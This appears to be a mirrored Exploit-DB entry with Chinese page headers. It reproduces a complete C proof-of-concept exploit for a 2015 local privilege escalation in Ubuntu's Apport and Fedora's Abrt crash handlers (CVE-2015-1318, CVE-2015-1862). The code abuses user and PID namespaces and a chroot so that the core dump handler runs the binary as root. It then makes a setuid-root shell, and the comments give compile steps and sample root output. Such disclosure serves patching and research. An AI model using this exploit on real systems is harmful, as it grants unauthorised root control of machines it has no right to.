Apport/Abrt (Ubuntu / Fedora) – Local Privilege Escalation

  • 作者: Tavis Ormandy
    日期: 2015-04-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36746/
  • #define _GNU_SOURCE
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <elf.h>
    #include <err.h>
    #include <syslog.h>
    #include <sched.h>
    #include <linux/sched.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/auxv.h>
    #include <sys/wait.h>
    
    # warning this file must be compiled with -static
    
    //
    // Apport/Abrt Vulnerability Demo Exploit.
    //
    //Apport: CVE-2015-1318
    //Abrt: CVE-2015-1862
    // 
    // -- taviso@cmpxchg8b.com, April 2015.
    //
    // $ gcc -static newpid.c
    // $ ./a.out
    // uid=0(root) gid=0(root) groups=0(root)
    // sh-4.3# exit
    // exit
    //
    // Hint: To get libc.a,
    //yum install glibc-static or apt-get install libc6-dev
    //
    
    int main(int argc, char **argv)
    {
    int status;
    Elf32_Phdr *hdr;
    pid_t wrapper;
    pid_t init;
    pid_t subprocess;
    unsigned i;
    
    // Verify this is a static executable by checking the program headers for a
    // dynamic segment. Originally I thought just checking AT_BASE would work,
    // but that isnt reliable across many kernels.
    hdr = (void *) getauxval(AT_PHDR);
    
    // If we find any PT_DYNAMIC, then this is probably not a static binary.
    for (i = 0; i < getauxval(AT_PHNUM); i++) {
    if (hdr[i].p_type == PT_DYNAMIC) {
    errx(EXIT_FAILURE, "you *must* compile with -static");
    }
    }
    
    // If execution reached here, it looks like we're a static executable. If
    // I'm root, then we've convinced the core handler to run us, so create a
    // setuid root executable that can be used outside the chroot.
    if (getuid() == 0) {
    if (chown("sh", 0, 0) != 0)
    exit(EXIT_FAILURE);
    
    if (chmod("sh", 04755) != 0)
    exit(EXIT_FAILURE);
    
    return EXIT_SUCCESS;
    }
    
    // If I'm not root, but euid is 0, then the exploit worked and we can spawn
    // a shell and cleanup.
    if (setuid(0) == 0) {
    system("id");
    system("rm -rf exploit");
    execlp("sh", "sh", NULL);
    
    // Something went wrong.
    err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
    }
    
    // It looks like the exploit hasn't run yet, so create a chroot.
    if (mkdir("exploit", 0755) != 0
     || mkdir("exploit/usr", 0755) != 0
     || mkdir("exploit/usr/share", 0755) != 0
     || mkdir("exploit/usr/share/apport", 0755) != 0
     || mkdir("exploit/usr/libexec", 0755) != 0) {
    err(EXIT_FAILURE, "failed to create chroot directory");
    }
    
    // Create links to the exploit locations we need.
    if (link(*argv, "exploit/sh") != 0
     || link(*argv, "exploit/usr/share/apport/apport") != 0// Ubuntu
     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {// Fedora
    err(EXIT_FAILURE, "failed to create required hard links");
    }
    
    // Create a subprocess so we don't enter the new namespace.
    if ((wrapper = fork()) == 0) {
    
    // In the child process, create a new pid and user ns. The pid
    // namespace is only needed on Ubuntu, because they check for %P != %p
    // in their core handler. On Fedora, just a user ns is sufficient.
    if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
    err(EXIT_FAILURE, "failed to create new namespace");
    
    // Create a process in the new namespace.
    if ((init = fork()) == 0) {
    
    // Init (pid 1) signal handling is special, so make a subprocess to
    // handle the traps.
    if ((subprocess = fork()) == 0) {
    // Change /proc/self/root, which we can do as we're privileged
    // within the new namepace.
    if (chroot("exploit") != 0) {
    err(EXIT_FAILURE, "chroot didnt work");
    }
    
    // Now trap to get the core handler invoked.
    __builtin_trap();
    
    // Shouldn't happen, unless user is ptracing us or something.
    err(EXIT_FAILURE, "coredump failed, were you ptracing?");
    }
    
    // If the subprocess exited with an abnormal signal, then everything worked.
    if (waitpid(subprocess, &status, 0) == subprocess)
    return WIFSIGNALED(status)
    ? EXIT_SUCCESS
    : EXIT_FAILURE;
    
    // Something didn't work.
    return EXIT_FAILURE;
    }
    
    // The new namespace didn't work.
    if (waitpid(init, &status, 0) == init)
    return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
    ? EXIT_SUCCESS
    : EXIT_FAILURE;
    
    // Waitpid failure.
    return EXIT_FAILURE;
    }
    
    // If the subprocess returned sccess, the exploit probably worked, reload
    // with euid zero.
    if (waitpid(wrapper, &status, 0) == wrapper) {
    // All done, spawn root shell.
    if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
    execl(*argv, "w00t", NULL);
    }
    }
    
    // Unknown error.
    errx(EXIT_FAILURE, "unexpected result, cannot continue");
    }